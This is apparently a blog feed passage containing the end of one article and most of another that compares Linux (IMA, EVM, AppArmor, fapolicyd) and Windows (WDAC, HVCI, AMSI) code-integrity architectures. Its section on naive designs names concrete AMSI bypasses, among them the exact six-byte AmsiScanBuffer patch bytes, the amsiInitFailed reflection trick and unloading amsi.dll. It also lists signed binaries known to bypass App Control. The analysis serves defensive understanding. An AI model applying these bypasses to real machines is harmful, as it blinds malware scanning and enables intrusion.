&lt;p&gt;The thesis was the article&apos;s first sentence: two locks on the same door, two threat models, not redundancy. AppLocker is operational hygiene, the user-mode evaluator Microsoft itself declines to call a security feature. App Control for Business -- with a signed policy, HVCI on, and the Recommended Block Rules merged in -- is the MSRC security boundary. Both ship in Windows 11 24H2 and Server 2025 because neither is a strict superset of the other, and the practitioner gets to choose, per deployment, which lock the door needs. For deeper treatment of the cryptographic plumbing, see the companion Authenticode article; for the HVCI / VTL story, see the companion WDAC + HVCI article; for the BYOVD residual in section 13, see the companion Driver Signing article. The line between &lt;em&gt;security feature&lt;/em&gt; and &lt;em&gt;operational hygiene control&lt;/em&gt; is sharp in Microsoft&apos;s own words -- and the two products defending that line will both keep shipping until the line itself moves.&lt;/p&gt;
</content:encoded><category>windows-security</category><category>applocker</category><category>wdac</category><category>app-control</category><category>code-integrity</category><category>allowlisting</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Two Routes to Code Integrity: Linux IMA + AppArmor vs Windows WDAC + AMSI</title><link>https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</link><guid isPermaLink="true">https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</guid><description>Linux and Windows answer one question -- &quot;is this code allowed to run?&quot; -- with very different machinery. Where the verifier lives matters more than how strong it is.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>
Linux and Windows have spent fifteen years answering the same question -- &quot;is this code allowed to run?&quot; -- and arrived at radically different architectures. Linux composes half a dozen narrow kernel modules (IMA, EVM, AppArmor, SELinux, fs-verity, IPE) plus a userspace daemon (`fapolicyd`); Windows ships one integrated suite (App Control + HVCI + AMSI + Smart App Control). Both stacks shipped their v1 with the **check in the wrong place**, and the architectural pivots that fixed it -- EVM&apos;s HMAC-sealed xattrs, HVCI&apos;s hypervisor-isolated verifier, IPE&apos;s property-based decisions -- are the breakthrough lesson of this comparison. Crypto is solved. Trust-boundary protection and policy expressiveness are not, and Rice&apos;s theorem says they never fully will be.
&lt;h2&gt;1. Two bypasses, same architectural shape&lt;/h2&gt;
&lt;p&gt;On a Windows 11 desktop, an attacker with a PowerShell session under their control can blind Microsoft Defender to every script that session ever evaluates by overwriting six bytes inside one function in &lt;code&gt;amsi.dll&lt;/code&gt;. The &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;Antimalware Scan Interface&lt;/a&gt;, the in-process bridge between scripting hosts and the registered antivirus product, dutifully reports &quot;clean&quot; on every subsequent buffer because the prologue of &lt;code&gt;AmsiScanBuffer&lt;/code&gt; has been patched to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The interface ships exactly as Microsoft documents it, and the function still has the signature in MSDN [@learn-microsoft-com-amsi-amsiscanbuffer]: the attacker did not need to break anything. They needed only to write into the address space they already owned.&lt;/p&gt;
&lt;p&gt;On a Linux server, a different attacker with offline access to the disk -- recovered from a stolen laptop, a forensics image, a hostile cloud-provider snapshot -- mounts the filesystem and rewrites a system binary together with the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. When the box boots, the kernel&apos;s Integrity Measurement Architecture hashes the binary at exec time, compares the hash to the value stored in &lt;code&gt;security.ima&lt;/code&gt;, sees a match, and allows execution. Without the Extended Verification Module, IMA appraisal has no defence against this offline-rewrite attack [@lwn-net-articles-394170] -- the reference hash is sitting next to the file the attacker just replaced.&lt;/p&gt;
&lt;p&gt;Both operating systems claim fail-closed code-integrity enforcement. Both lose to a single architectural mistake about &lt;strong&gt;where the check runs&lt;/strong&gt;. The mistakes are different in detail and identical in shape: the verifier is reachable by the attacker. On Windows the attacker shares the script host&apos;s address space with the scanner. On Linux the attacker shares the on-disk container with the reference hash.&lt;/p&gt;
&lt;p&gt;This article exists to make that symmetry visible. The two stacks reached their 2026 form by very different routes -- Linux composes six narrow Linux Security Modules and one userspace daemon, Windows ships one tightly-coupled product line -- but the breakthroughs on each side answered the same question: how do you move the verifier out of reach?&lt;/p&gt;
&lt;p&gt;The Linux answer was EVM (HMAC the extended attributes that IMA depends on) and IPE (decide on immutable file properties rather than file contents). The Windows answer was HVCI (lift the kernel-mode code-integrity check into a hypervisor-isolated secure kernel). The names are different. The lesson is one.&lt;/p&gt;
&lt;p&gt;Why did Linux and Windows arrive at such different architectures in the first place? That story starts in an IBM research lab in 2003.&lt;/p&gt;
&lt;h2&gt;2. The question both operating systems are trying to answer&lt;/h2&gt;
&lt;p&gt;Both lineages exist to answer one question -- &quot;is this code allowed to run?&quot; -- but they put the check in completely different places. Before we can compare them honestly, we need a shared vocabulary for the three layers any production code-integrity stack must cover.&lt;/p&gt;
&lt;p&gt;The first layer is &lt;strong&gt;code integrity&lt;/strong&gt; itself, often abbreviated CI: a gate on the file&apos;s content or its signer. Did this &lt;code&gt;.so&lt;/code&gt; come from a package my distribution signed? Does this &lt;code&gt;.exe&lt;/code&gt; match an &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode chain&lt;/a&gt; rooted in a publisher my policy trusts? The answer is binary. The hook fires before the process loads the bytes.&lt;/p&gt;
&lt;p&gt;The second layer is &lt;strong&gt;mandatory access control&lt;/strong&gt;, or MAC. Now the process is running. What can it do? Can &lt;code&gt;nginx&lt;/code&gt; open &lt;code&gt;/etc/shadow&lt;/code&gt;? Can &lt;code&gt;mshta.exe&lt;/code&gt; spawn &lt;code&gt;cmd.exe&lt;/code&gt;? MAC is enforced by the kernel above discretionary access control and cannot be overridden by userspace privileges.&lt;/p&gt;

A kernel-enforced policy layer above traditional discretionary access control (DAC). Unlike DAC, where the file owner sets permissions, MAC policy is set by the system administrator and applied uniformly to all processes; no user, including root, can override it without changing the policy itself.
&lt;p&gt;The third layer is &lt;strong&gt;content inspection&lt;/strong&gt;: gating not on the file but on the buffer the interpreter is about to evaluate. The PowerShell engine has just deobfuscated a long string into a script block. Is the script block malicious? Linux has no production equivalent. Windows ships AMSI [@learn-microsoft-com-interface-portal] for exactly this.&lt;/p&gt;
&lt;p&gt;Where each operating system puts these checks tells you almost everything about its architectural philosophy.&lt;/p&gt;
&lt;p&gt;Linux puts every check on a Linux Security Module hook [@kernel-org-security-lsmhtml]. IMA registers at &lt;code&gt;bprm_check&lt;/code&gt; (the kernel hook that fires when a binary is about to be executed), &lt;code&gt;file_mmap&lt;/code&gt; with &lt;code&gt;MAY_EXEC&lt;/code&gt;, &lt;code&gt;module_check&lt;/code&gt;, &lt;code&gt;firmware_check&lt;/code&gt;, and &lt;code&gt;kexec_*&lt;/code&gt;. AppArmor and SELinux register at the syscall-level access hooks. &lt;code&gt;fapolicyd&lt;/code&gt; rides on top of &lt;code&gt;fanotify&lt;/code&gt;. IPE hooks &lt;code&gt;op=EXECUTE&lt;/code&gt;. The kernel is the trust boundary, and every mechanism is a polite tenant inside it.&lt;/p&gt;

The kernel framework, merged into Linux 2.6.0 in December 2003, that hosts pluggable security modules at well-defined hook points in the kernel. LSMs include SELinux, AppArmor, Smack, Tomoyo, IMA, EVM, IPE, BPF LSM, and Landlock; multiple modules can coexist via &quot;LSM stacking&quot;.
&lt;p&gt;Windows takes the opposite path. The PE loader is the gate for user-mode code integrity (UMCI). The kernel-mode code-integrity check is, in the modern stack, moved out of the normal kernel into a small secure kernel running on top of Hyper-V -- Hypervisor-protected Code Integrity, HVCI [@learn-microsoft-com-code-integrity]. The script broker runs in-process with each scripting host. Cloud reputation is consulted via the Intelligent Security Graph and exposed to consumers as &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;Smart App Control&lt;/a&gt;.&lt;/p&gt;

A monotonically extendable hash register inside a Trusted Platform Module. New measurements are folded in with `PCR_new = SHA256(PCR_old || measurement)`. Once extended, the value cannot be rolled back without resetting the TPM. IMA extends file-content hashes into PCR 10; the Windows Measured Boot chain uses PCRs 0-7 and 11-14.
&lt;p&gt;The architectural philosophy comes down to a sentence each. Linux trusts the &lt;strong&gt;kernel surface&lt;/strong&gt; and packs every integrity mechanism into it as a separate LSM. Windows trusts a &lt;strong&gt;hypervisor-isolated secure kernel&lt;/strong&gt; and uses it to host the integrity logic the normal kernel cannot be trusted to run honestly.&lt;/p&gt;

flowchart LR
  subgraph CI[Code integrity: gate on file content or signer]
    direction TB
    L_IMA[Linux: IMA + EVM]
    L_IPE[Linux: IPE]
    L_FSV[Linux: fs-verity]
    L_FAP[Linux: fapolicyd]
    W_WDAC[Windows: App Control / WDAC]
    W_HVCI[Windows: HVCI / Memory Integrity]
    W_SAC[Windows: Smart App Control]
  end
  subgraph MAC[Mandatory access control: gate on running process behaviour]
    direction TB
    L_AA[Linux: AppArmor]
    L_SE[Linux: SELinux]
    W_NONE[Windows: no direct analogue, closest is AppContainer / ASR]
  end
  subgraph CS[Content inspection: gate on the buffer the interpreter will evaluate]
    direction TB
    W_AMSI[Windows: AMSI]
    L_GAP[Linux: no production equivalent]
  end
  CI --&amp;gt; MAC --&amp;gt; CS
&lt;p&gt;Neither stack started this way. The 2026 stack on each side is the accumulated answer to fifteen years of failures. Here is how they grew up.&lt;/p&gt;
&lt;h2&gt;3. Two genesis stories&lt;/h2&gt;
&lt;p&gt;In 2003, four IBM researchers at the T. J. Watson Research Center -- Reiner Sailer, Xiaolan Zhang, Trent Jaeger, and Leendert van Doorn -- tried to convince the USENIX Security community that you could prove the integrity of a Linux web server to a remote verifier. Their paper, &lt;em&gt;Design and Implementation of a TCG-based Integrity Measurement Architecture&lt;/em&gt; [@usenix-org-tech-sailerhtml], shipped at the 13th USENIX Security Symposium in 2004. It proposed hashing every executable file at load time, extending each hash into a &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM platform configuration register&lt;/a&gt;, and sending the resulting measurement list to a remote verifier who could compare it to a known-good manifest.&lt;/p&gt;
&lt;p&gt;The performance evaluation [@usenix-org-sailerhtml-node19html] measured the cost on an IBM Netvista with a 2.4 GHz Pentium 4: the &lt;code&gt;file_mmap&lt;/code&gt; LSM hook added 0.08 microseconds per call on a cache hit, and SHA-1 fingerprinting ran at roughly 80 MB/s. The headline claim was that more than 99.9% of measure calls landed on the cached path, so the overhead was essentially free.Pentium 4-era SHA-1 at 80 MB/s vs Ice Lake-era SHA-NI-accelerated SHA-256 at roughly 2 GB/s per core: a 25x throughput jump in twenty years. The original paper&apos;s qualitative finding -- cache hit dominates, overhead is negligible -- holds even more strongly on modern silicon.&lt;/p&gt;
&lt;p&gt;It took five years for that proposal to reach the kernel. IMA&apos;s measurement-only mode was merged in Linux 2.6.30 in June 2009. It hashed files at &lt;code&gt;bprm_check&lt;/code&gt;, &lt;code&gt;file_mmap&lt;/code&gt;, and &lt;code&gt;module_check&lt;/code&gt;, extended TPM PCR 10, and otherwise let everything run.&lt;/p&gt;
&lt;p&gt;The &quot;is this hash allowed?&quot; question would have to wait three more years. The Extended Verification Module landed in Linux 3.2 in January 2012; digital-signature mode for EVM followed in 3.3 in March 2012; and IMA-appraise, the enforcement extension that finally let the kernel return &lt;code&gt;-EPERM&lt;/code&gt; when a file&apos;s hash did not match &lt;code&gt;security.ima&lt;/code&gt;, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. The same LWN article frames the cadence plainly: &quot;Much of IMA was added to the kernel in 2.6.30, but another piece, the extended verification module (EVM) was not merged until 3.2 ... Digital signature support was added to EVM in 3.3, and IMA appraisal is currently under review.&quot; Mimi Zohar&apos;s appraisal patchset [@lwn-net-articles-487700] is the canonical lore.kernel.org artifact of that final step.&lt;/p&gt;
&lt;p&gt;AppArmor took a different, longer road. It was born inside Immunix in 1998 under the name &quot;SubDomain&quot;, a path-based confinement layer designed to stop privilege-escalation exploits from doing anything the binary&apos;s profile did not name. Novell acquired Immunix in 2005, renamed SubDomain to AppArmor, and shipped it as the default mandatory access control layer on SLES and openSUSE. According to the Ubuntu AppArmor wiki [@wiki-ubuntu-com-apparmor], &quot;AppArmor support was first introduced in Ubuntu 7.04, and is turned on by default in Ubuntu 7.10 and later&quot; -- so by October 2007 AppArmor was already a default-on production MAC on the most-deployed Linux desktop distribution.&lt;/p&gt;
&lt;p&gt;Mainlining did not happen until October 2010, when AppArmor finally landed in Linux 2.6.36 [@docs-kernel-org-lsm-apparmorhtml]. Seven years out of tree, three years default-on in Ubuntu, before the kernel community accepted it.&lt;/p&gt;
&lt;p&gt;The contrast with SELinux [@en-wikipedia-org-security-enhancedlinux] is sharp. SELinux merged into Linux 2.6.0 in December 2003 -- barely a year after the LSM framework was created. SELinux was, in fact, the reason the LSM framework existed.&lt;/p&gt;

SELinux&apos;s type-enforcement model maps directly to LSM&apos;s &quot;label the subject, label the object, look up the rule&quot; hook signature. AppArmor&apos;s path-based reasoning does not. LSM hooks see inodes, not paths -- and an inode can be reached from many paths (bind mounts, hard links, namespace games, chroots). To merge, AppArmor had to push kernel-side helpers like `vfs_path_lookup` and `d_absolute_path` upstream so it could reconstruct the absolute path of the object at hook time. The conceptual fight took three rejected merge attempts and seven years. The lesson is one Linux kernel reviewers have repeated since: a security model is not just an algorithm, it is a commitment to a particular kind of name-resolution semantics.
&lt;p&gt;The Windows lineage starts in a different building entirely. AppLocker shipped with Windows 7 and Windows Server 2008 R2 in 2009: a user-mode-only allowlist, with no hypervisor or kernel-mode backing, and rules tied to file paths, publishers, or hashes. AppLocker is still supported on modern Windows but &quot;isn&apos;t getting new feature improvements&quot; [@learn-microsoft-com-applocker-overview]; the modern successor is App Control for Business.&lt;/p&gt;
&lt;p&gt;Windows 10 RTM (version 1507, July 2015) shipped the first version of Device Guard along with AMSI [@learn-microsoft-com-interface-portal] and PowerShell 5.0, which integrated with AMSI from day one. Device Guard became known as Windows Defender Application Control (WDAC) and then, in 2024, was renamed once more to &lt;em&gt;App Control for Business&lt;/em&gt;. User-mode code integrity (UMCI) became a policy option, FilePath rules were added in Windows 10 version 1903 [@learn-microsoft-com-applocker-overview], multiple-policy authoring landed in the same release, and Smart App Control made its consumer debut in Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update].&lt;/p&gt;

gantt
  title Linux and Windows code-integrity timeline
  dateFormat YYYY-MM
  axisFormat %Y
  section Linux
  SELinux mainline 2.6.0    :2003-12, 12M
  AppArmor at Immunix       :1998-01, 84M
  AppArmor default in Ubuntu :2007-10, 36M
  IMA mainline 2.6.30        :2009-06, 32M
  EVM mainline 3.2           :2012-01, 2M
  EVM digital sigs 3.3       :2012-03, 9M
  IMA-appraise 3.7           :2012-12, 24M
  AppArmor mainline 2.6.36   :2010-10, 14M
  fs-verity 5.4              :2019-11, 60M
  IPE 6.12                   :2024-11, 12M
  section Windows
  AppLocker (Win 7)          :2009-10, 70M
  Device Guard + AMSI + PowerShell 5 (1507) :2015-07, 25M
  WDAC UMCI (1709)           :2017-10, 18M
  FilePath rules + multi-policy (1903) :2019-05, 24M
  HVCI broadens (Win 10 1607+) :2016-08, 60M
  Smart App Control (Win 11 22H2) :2022-09, 24M
  App Control for Business rename :2024-01, 12M
&lt;p&gt;Two timelines, two design philosophies, both shipping their v1 with the same kind of mistake. The next section makes that concrete.&lt;/p&gt;
&lt;h2&gt;4. Where the naive approach breaks&lt;/h2&gt;
&lt;p&gt;Both stacks shipped their first version with the check in the wrong place. Two stories make this concrete; two more refine it.&lt;/p&gt;
&lt;h3&gt;Story A: IMA-as-shipped (2009) without EVM&lt;/h3&gt;
&lt;p&gt;When IMA reached the kernel in Linux 2.6.30, it hashed the file at &lt;code&gt;bprm_check&lt;/code&gt; and stored the reference hash in the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. That is what an attacker with offline disk access needs to defeat the check, and exactly nothing else. Mount the filesystem from another box, swap the binary for a malicious one, recompute the SHA over the new binary, write the new value into &lt;code&gt;security.ima&lt;/code&gt;. Boot the box. The kernel hashes the malicious binary at exec, reads the matching xattr the attacker just wrote, and lets the syscall through.&lt;/p&gt;
&lt;p&gt;This is the offline-tampering attacker model EVM was designed to defeat. The contemporaneous LWN coverage put it plainly: &quot;IMA can be subverted by &apos;offline&apos; attacks, where file data or metadata is changed out from under IMA. Mimi Zohar has proposed the extended verification module (EVM) patch set as a means to protect against these offline attacks.&quot; [@lwn-net-articles-394170]&lt;/p&gt;
&lt;p&gt;The EVM v5 patchset [@lwn-net-articles-443038], posted by Zohar in May 2011, describes the design directly: &quot;Extended Verification Module (EVM) detects offline tampering of the security extended attributes (e.g. security.selinux, security.SMACK64, security.ima) ... initial method maintains an HMAC-sha1 across a set of security extended attributes, storing the HMAC as the extended attribute &apos;security.evm&apos;.&quot;&lt;/p&gt;
&lt;h3&gt;Story B: AMSI as shipped (2015) inside the script host&lt;/h3&gt;
&lt;p&gt;AMSI&apos;s design is documented in &lt;em&gt;How AMSI helps you defend against malware&lt;/em&gt; [@learn-microsoft-com-amsi-helps]: &quot;Script (malicious or otherwise), might go through several passes of de-obfuscation. But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that&apos;s the point at which you invoke the AMSI APIs.&quot;&lt;/p&gt;
&lt;p&gt;A scripting host -- PowerShell, WSH, MSHTA, Office VBA, the UAC installer dialog -- calls &lt;code&gt;AmsiInitialize&lt;/code&gt;, then for every plain-text script buffer it is about to execute calls &lt;code&gt;AmsiScanBuffer&lt;/code&gt; [@learn-microsoft-com-amsi-amsiscanbuffer] or &lt;code&gt;AmsiScanString&lt;/code&gt;. The call is routed through &lt;code&gt;amsi.dll&lt;/code&gt;, loaded into the host process, which dispatches to the registered &lt;code&gt;IAntimalwareProvider&lt;/code&gt; COM server. Defender is the default provider.&lt;/p&gt;
&lt;p&gt;The detection logic is sound. The trust boundary is not. The attacker already controls the script host. Three single-shot bypass techniques have lived in red-team toolkits since 2016:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Patch &lt;code&gt;AmsiScanBuffer&lt;/code&gt;&apos;s prologue in memory to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;). Six bytes of opcode rewrite, no syscalls required, blinds the scanner permanently for this process.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;System.Management.Automation.AmsiUtils.amsiInitFailed = true&lt;/code&gt; via reflection. PowerShell checks the flag on every scan path and short-circuits.&lt;/li&gt;
&lt;li&gt;Unload &lt;code&gt;amsi.dll&lt;/code&gt; via &lt;code&gt;FreeLibrary&lt;/code&gt;. There is no scanner left to call.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Microsoft tracks this so closely that its own &quot;Applications that can bypass App Control&quot; [@learn-microsoft-com-bypass-appcontrol] deny list calls out the AMSI-bypass-capable versions of &lt;code&gt;system.management.automation.dll&lt;/code&gt; by hash. The defender&apos;s authoritative list of files-to-block treats specific signed Microsoft DLLs as named threats.The same Microsoft bypass list also enumerates &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, and dozens of others -- 40+ entries today, growing whenever a new Microsoft-signed binary turns out to host an attacker-friendly evaluator.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The host process making the AMSI call is the same process the attacker is running in. Any defence-in-depth plan that treats AMSI as a hard control is mis-specified. Treat AMSI as a high-quality telemetry surface feeding Defender for Endpoint and EDR pipelines; budget for the bypass.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{`
// In Windows, AMSI scans each plain-text script buffer just before
// the scripting engine evaluates it. The scanner lives in amsi.dll,
// loaded into the script host process. The attacker who controls
// that process can rewrite the function&apos;s first few bytes.
//
// This toy model shows the consequence: once &quot;patched&quot;, the scanner
// returns CLEAN regardless of input, and the assertion below holds
// for every possible payload.&lt;/p&gt;
&lt;p&gt;const AMSI_RESULT_CLEAN = 0;
const AMSI_RESULT_MALWARE = 32768;&lt;/p&gt;
&lt;p&gt;function amsiScanBuffer(buf, patched) {
  if (patched) return AMSI_RESULT_CLEAN;
  if (buf.includes(&quot;Invoke-Mimikatz&quot;)) return AMSI_RESULT_MALWARE;
  return AMSI_RESULT_CLEAN;
}&lt;/p&gt;
&lt;p&gt;console.log(&quot;Normal mode:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, false));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, false));&lt;/p&gt;
&lt;p&gt;console.log(&quot;\nAfter six-byte patch:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, true));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, true));&lt;/p&gt;
&lt;p&gt;// The takeaway: no input ever produces MALWARE once the scanner is patched.
// Strengthening AMSI&apos;s signature engine cannot fix this. The scanner
// must move out of the script host&apos;s address space.
`}&lt;/p&gt;
&lt;h3&gt;Story C: WDAC&apos;s &quot;trust all Microsoft-signed code&quot; anti-pattern&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;WDAC policy&lt;/a&gt; that trusts code signed by Microsoft also trusts every binary Microsoft has ever signed. That set includes &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and the 40-plus other binaries enumerated on Microsoft&apos;s own App Control bypass list [@learn-microsoft-com-bypass-appcontrol]. The LOLBAS community catalogue [@lolbas-project-github-io] widens the field to roughly 200 living-off-the-land binaries with explicit MITRE ATT&amp;amp;CK technique mappings.&lt;/p&gt;
&lt;p&gt;The pattern is structural: WDAC grants trust at &lt;em&gt;signer&lt;/em&gt; granularity (a chain rooted at &quot;Microsoft Corporation&quot;); attackers exploit at &lt;em&gt;binary&lt;/em&gt; granularity (the specific &lt;code&gt;mshta.exe&lt;/code&gt; that will happily evaluate an HTA blob containing a PowerShell stager). Any non-trivial WDAC policy must therefore contain explicit hash-level denies for the known-bad versions, and must keep growing those denies as Microsoft ships new signed binaries.&lt;/p&gt;
&lt;h3&gt;Story D: fapolicyd&apos;s permissive-window failure&lt;/h3&gt;
&lt;p&gt;fapolicyd [@access-redhat-com-fapolicydsecurity-hardening] is the Red Hat userspace allowlister. It sits on the &lt;code&gt;fanotify&lt;/code&gt; permission channel and answers &quot;may this open or exec proceed?&quot; against a compiled rule database. It does not have IMA&apos;s offline-tampering problem because trust is inherited from the RPM database: &quot;An application is trusted when the system package manager correctly installs it and therefore registered in the system RPM database. The fapolicyd daemon uses the RPM database as a list of trusted binaries and scripts.&quot;&lt;/p&gt;
&lt;p&gt;What it does have is an operational footgun. Setting &lt;code&gt;permissive=1&lt;/code&gt; &quot;just for troubleshooting&quot; silently disables enforcement. Terminating the daemon causes the kernel to fail open after the fanotify response timeout. The architectural choice -- userspace daemon over kernel-mode hook -- is what makes both failure modes possible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The check was strong. The boundary protecting the check was weak. On IMA-as-shipped the reference hash sat next to the file the attacker rewrote. On AMSI the scanner sat inside the process the attacker controlled. On WDAC the trust grant was wider than the exploitation unit. On fapolicyd the verifier was a userspace process that could be terminated. Four different stacks, four different boundary failures, one identical lesson.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Stack&lt;/th&gt;
&lt;th&gt;Concrete example&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Offline metadata swap&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;Rewrite binary and matching &lt;code&gt;security.ima&lt;/code&gt; xattr from rescue media&lt;/td&gt;
&lt;td&gt;Reference value stored next to the file under attacker control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process scanner patch&lt;/td&gt;
&lt;td&gt;AMSI in PowerShell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, AMSI_RESULT_CLEAN; ret&lt;/code&gt; over &lt;code&gt;AmsiScanBuffer&lt;/code&gt; prologue&lt;/td&gt;
&lt;td&gt;Scanner shares address space with the script host the attacker runs in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signer-vs-binary mismatch&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules&lt;/td&gt;
&lt;td&gt;Allow Microsoft-signed code, attacker runs &lt;code&gt;mshta.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trust grant is coarser than the exploitable unit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Daemon liveness&lt;/td&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;Terminate &lt;code&gt;fapolicyd&lt;/code&gt; or set &lt;code&gt;permissive=1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verifier is a userspace process with no kernel-rooted backstop&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these failures has the same shape: the check was strong, the boundary protecting the check was weak. Both operating systems noticed, and fixed it in 2012 and 2016 in very different ways. Both fixes followed the same principle.&lt;/p&gt;
&lt;h2&gt;5. The architectural pivots&lt;/h2&gt;
&lt;p&gt;Both lineages reached the same conclusion at the same time: strengthen the boundary, not the check. Each pivot moved the trust boundary outward, beyond the place the attacker could reach.&lt;/p&gt;
&lt;h3&gt;EVM (Linux 3.2, January 2012): the xattrs become non-forgeable&lt;/h3&gt;
&lt;p&gt;The Extended Verification Module computes an HMAC over the security-relevant extended attributes -- &lt;code&gt;security.ima&lt;/code&gt;, &lt;code&gt;security.selinux&lt;/code&gt;, &lt;code&gt;security.SMACK64&lt;/code&gt;, &lt;code&gt;security.apparmor&lt;/code&gt;, &lt;code&gt;security.capability&lt;/code&gt; -- plus inode metadata (UID, GID, mode, generation), and stores the result in &lt;code&gt;security.evm&lt;/code&gt;. The HMAC key is loaded into the kernel keyring at boot, ideally sealed to a TPM 2.0 PCR set so the key is not retrievable except on a machine whose boot state matches the sealing measurement. The kernel keyring documentation for trusted and encrypted keys [@kernel-org-trusted-encryptedhtml] describes the substrate.&lt;/p&gt;
&lt;p&gt;An offline attacker with disk access still cannot forge &lt;code&gt;security.evm&lt;/code&gt; without the HMAC key. Digital-signature mode (EVM portable signatures, Linux 3.3) gives the same guarantee without any on-box key material. The check did not get cryptographically stronger: HMAC-SHA256 was not new in 2012. What changed was that the &lt;em&gt;reference value&lt;/em&gt; the check consults moved from &quot;an xattr next to the file&quot; to &quot;an xattr whose integrity is bound to a key the attacker does not have&quot;. Red Hat documents the modern setup in &lt;em&gt;Enhancing security with the kernel integrity subsystem&lt;/em&gt; [@access-redhat-com-subsystemsecurity-hardening].&lt;/p&gt;

The Linux integrity module that protects the security-relevant extended attributes IMA depends on. EVM computes an HMAC (or digital signature) over the xattr set plus inode metadata and stores it in `security.evm`. Without the EVM key, an offline attacker cannot rewrite a binary and its matching `security.ima` to produce a valid pair.

sequenceDiagram
  participant App as User app
  participant K as Kernel
  participant FS as Filesystem
  participant IMA as IMA
  participant EVM as EVM
  participant TPM as TPM keyring
  App-&amp;gt;&amp;gt;K: execve(&quot;/usr/bin/foo&quot;)
  K-&amp;gt;&amp;gt;IMA: bprm_check hook
  IMA-&amp;gt;&amp;gt;FS: read file bytes
  IMA-&amp;gt;&amp;gt;IMA: compute SHA-256
  IMA-&amp;gt;&amp;gt;FS: read security.ima xattr
  IMA-&amp;gt;&amp;gt;EVM: verify xattr integrity
  EVM-&amp;gt;&amp;gt;FS: read security.evm and full xattr set
  EVM-&amp;gt;&amp;gt;TPM: HMAC key from keyring (sealed to PCRs)
  EVM-&amp;gt;&amp;gt;EVM: recompute HMAC over xattr set + inode meta
  alt HMAC matches and IMA hash matches
    EVM--&amp;gt;&amp;gt;IMA: ok
    IMA--&amp;gt;&amp;gt;K: allow
    K--&amp;gt;&amp;gt;App: exec proceeds
  else mismatch
    EVM--&amp;gt;&amp;gt;IMA: -EPERM
    IMA--&amp;gt;&amp;gt;K: deny
    K--&amp;gt;&amp;gt;App: -EPERM
  end
